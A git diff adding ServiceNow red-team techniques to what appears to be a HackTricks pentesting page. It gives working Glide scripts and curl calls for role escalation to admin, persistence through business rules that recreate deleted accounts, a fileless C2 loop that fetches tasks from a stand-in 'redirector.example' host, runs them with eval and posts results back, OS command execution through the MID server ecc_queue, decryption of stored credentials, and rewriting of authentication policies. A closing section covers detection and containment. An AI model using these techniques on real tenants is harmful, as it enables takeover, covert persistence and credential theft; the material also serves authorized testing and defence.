diff --git a/src/network-services-pentesting/pentesting-web/servicenow.md b/src/network-services-pentesting/pentesting-web/servicenow.md
index ec578e16c35..1111361d7eb 100644
--- a/src/network-services-pentesting/pentesting-web/servicenow.md
+++ b/src/network-services-pentesting/pentesting-web/servicenow.md
@@ -103,6 +103,124 @@ Useful behaviors:
- Flags public `/stats.do` access
- Supports JSON output for triage and replay
+## Initial access pivots
+
+From a compromised workstation, a live ServiceNow browser session can provide a tenant foothold that is operationally separate from later host activity. Reuse the session only within the authorized test scope, inspect the user at `sys_user_list.do`, and inventory inherited as well as direct roles before choosing an escalation path. On accessible shares and deployment backups, search for ServiceNow MID `config.xml` files: they may expose the cloud-tenant service credential and proxy configuration. An account whose **Identity Type** is **Machine** may reject `login.do` while remaining usable through the REST API.[[7]](#references)
+
+## Post-authentication role escalation
+
+After obtaining a session or API credential, enumerate the effective roles in `sys_user_has_role` and reproduce them in a personal developer instance. Any role that can create or execute **User Criteria, transforms, reports, workflows, business rules, or scheduled scripts** should be treated as a potential server-side Glide-script primitive: the script may execute with more privilege than the caller, sometimes as `system`.[[7]](#references)
+
+Useful chains identified during red-team engagements include:[[7]](#references)
+
+- **`catalog_admin` → `user_criteria_admin` → `action_designer` → `admin`:** create or edit an `sc_cat_item`, attach a scripted **Not Available For** User Criterion, and run it through `uc_item_diagnostics.do`. Use the first execution to insert `action_designer` into `sys_user_has_role`; after re-authentication, a Workflow Studio custom action with a Script Step can run in system context and assign `admin`.
+- **`import_admin` via a machine identity:** if no REST API Access Policy restricts the credential's source, create an active `sys_transform_map` with `run_script=true`. Trigger it by inserting a row into its source import table; the transform can clear `web_service_access_only`, grant `action_designer`, and turn an API-only account into an interactive escalation path.
+- **`sn_cmdb_editor` via report generation:** create or modify a CMDB360 query, create its report-builder record at `sysauto_ms_report_builder.do`, then select **Execute Now** in `sysauto_ms_report_builder_list.do`. Test whether the associated script executes with enough privilege to assign an intermediate role such as `business_rule_admin`.
+
+For example, an API-only import account can create and trigger a scripted transform with two Table API requests; the JSON body must select an import source table and contain the privileged Glide logic in its `script` field.[[7]](#references)
+
+```bash
+curl -u 'svc-mid:' -H 'Content-Type: application/json' \
+ -X POST 'https://.service-now.com/api/now/table/sys_transform_map' \
+ --data @transform.json
+
+curl -u 'svc-mid:' -H 'Content-Type: application/json' \
+ -X POST 'https://.service-now.com/api/now/table/imp_location' \
+ --data '{"u_state":"trigger"}'
+```
+
+The reusable privilege-write primitive is an insertion into `sys_user_has_role`; verify the target user and role before writing because the same pattern can be placed in User Criteria, transforms, Workflow Studio steps, report scripts, or business rules.[[7]](#references)
+
+```javascript
+var role = new GlideRecord('sys_user_role');
+role.addQuery('name', 'action_designer');
+role.query();
+var user = new GlideRecord('sys_user');
+user.addQuery('user_name', 'target.user');
+user.query();
+if (role.next() && user.next()) {
+ var link = new GlideRecord('sys_user_has_role');
+ link.initialize();
+ link.user = user.sys_id;
+ link.role = role.sys_id;
+ link.insert();
+}
+```
+
+## Persistence and fileless Glide C2
+
+Business rules provide event-driven persistence because almost every ServiceNow object is represented by a table. A rule attached to a low-frequency but dependable event, such as a Discovery status transition, can recreate a deleted account, reset its password, unlock/reactivate it, and restore its role assignment. Consequently, deleting the visible account does not contain the compromise while the modified rule remains active.[[7]](#references)
+
+Scheduled script jobs in `sysauto_script` provide time-driven execution. Because server-side Glide JavaScript supports outbound requests through `sn_ws.RESTMessageV2` and dynamic evaluation through `eval`, a job can fetch a task, execute it inside the SaaS tenant, and POST the result without writing a tenant-side payload file.[[7]](#references)
+
+```javascript
+var get = new sn_ws.RESTMessageV2();
+get.setHttpMethod('GET');
+get.setEndpoint('https://redirector.example/checkin?id=' + gs.getProperty('instance_name'));
+var task = get.execute().getBody();
+if (task.length) {
+ var result = eval(task);
+ var post = new sn_ws.RESTMessageV2();
+ post.setHttpMethod('POST');
+ post.setEndpoint('https://redirector.example/output?id=' + gs.getProperty('instance_name'));
+ post.setRequestBody(String(result));
+ post.execute();
+}
+```
+
+## Pivoting through MID servers
+
+A compromised tenant can become a bridge into networks reachable by its MID servers. Two useful execution paths are:[[7]](#references)
+
+1. Upload a JAR through **MID Servers → JAR Files**, wait for synchronization, and use `JavascriptProbe` to invoke its class through the Rhino `Packages` namespace.
+2. Insert a ready `Command` request into `ecc_queue` for a named `mid.server.` agent. The MID server executes the operating-system command and returns an input-queue record whose `response_to` points to the request.
+
+The minimal ECC request is shown below; authorized tooling should poll the response record and parse `//results/result/stdout` and `//results/result/stderr` from its XML payload.[[7]](#references)
+
+```javascript
+var ecc = new GlideRecord('ecc_queue');
+ecc.initialize();
+ecc.agent = 'mid.server.MID01';
+ecc.topic = 'Command';
+ecc.payload = "" +
+ "";
+ecc.queue = 'output';
+ecc.state = 'ready';
+var requestId = ecc.insert();
+```
+
+MID-side execution can also expose secrets that remain encrypted in the tenant UI. The MID automation libraries must decrypt credentials before using them; research demonstrated triggering MID-side code that instantiates `CredentialsProviderFactory` and calls `getCredentialByID()` for Windows discovery, SSH, and API credentials. Also inspect named `sn_ws.RESTMessageV2` integrations: an existing CyberArk REST Message may retrieve any secret its configured AppID and Safe permit.[[7]](#references)
+
+## High-value tables and authentication-policy manipulation
+
+Post-compromise review should prioritize `sys_user_login_history` for login sources and privileged sessions, `incident` and `sn_si_incident` for security telemetry and analyst notes, and `sys_attachment` for reports and operational documents. MID records, credential metadata, REST Messages, and discovery configuration can identify the shortest path from the tenant to privileged internal infrastructure.[[7]](#references)
+
+Adaptive Authentication is distributed across policy, decision-table, filter, and membership records. If a controlled administrator is blocked by source-IP or group conditions, enumerate active allow policies and trace this relationship chain:[[7]](#references)
+
+```text
+sys_auth_policy_context -> sys_authentication_policy -> sys_decision
+ -> sys_auth_policy_condition
+ -> sys_authentication_policy_criteria_m2m
+ -> sys_group_filter_criteria
+ -> sys_auth_policy_criteria_group -> sys_user_group/sys_user_grmember
+```
+
+A policy-write primitive can create a group containing the controlled user, create a `sys_group_filter_criteria`, link the group to the criterion and the criterion to each active allow policy, then add the corresponding `sys_auth_policy_condition`. This changes the policy data itself and may permit a fresh UI login without proxying through the originally compromised endpoint.[[7]](#references)
+
+## Detection and containment pivots
+
+Do not rely only on direct role assignments or visible record timestamps. A custom role can inherit `admin` through `sys_user_role_contains`, bypassing controls that inspect only direct `sys_user_role`/`sys_user_has_role` changes. Privileged scripts can also call `autoSysFields(false)` and forge `sys_created_by`, `sys_updated_by`, `sys_created_on`, and `sys_updated_on`; compare suspicious records with audit, update-set, transaction, and outbound-network evidence rather than trusting those fields alone.[[7]](#references)
+
+During investigation, correlate these ServiceNow artifacts before terminating every relevant session and removing both the persistence object and its restored identities:[[7]](#references)
+
+- `sys_user_role_history` and `sys_user_role_contains` for short-lived or inherited privilege.
+- `sys_flow_log` for Workflow Studio execution when `glide.workflow.log=true` and `com.glide.hub.flow_engine.log_level=DEBUG`.
+- `sys_script_execution_history` for Background Scripts and `syslog_transaction` for UI activity.
+- `sysauto_script`, business-rule records, outbound `sn_ws.RESTMessageV2` traffic, and unusual `ecc_queue` topics/agents.
+- `sn_vsc_security_policy` to understand enabled privileged-role alerts and whether they cover inherited roles.
+
+An active impersonation session may survive deletion of the account from which impersonation began. Containment must therefore revoke active sessions, not merely disable/delete the visible user, and must verify that no scheduled script or business rule can recreate it.[[7]](#references)
+
## Detection / validation notes
From a defender or purple-team perspective, review logs for:[[1]](#references)
@@ -122,5 +240,6 @@ When validating impact, prefer **bounded evidence**: keep the total count, a min
- [4] [Varonis - Count(er) Strike: Data Inference Vulnerability in ServiceNow](https://www.varonis.com/blog/counter-strike-servicenow)
- [5] [ServiceNow - Table API reference](https://www.servicenow.com/docs/r/api-reference/rest-apis/c_TableAPI.html)
- [6] [ServiceNow - Service Portal widget API reference](https://www.servicenow.com/docs/r/platform-user-interface/service-portal/widget-api-reference.html)
+- [7] [MDSec - When It Snows It Pours: Anatomy of a ServiceNow Red Team](https://mdsec.co.uk/2026/08/when-it-snows-it-pours-anatomy-of-a-servicenow-red-team)
{{#include ../../banners/hacktricks-training.md}}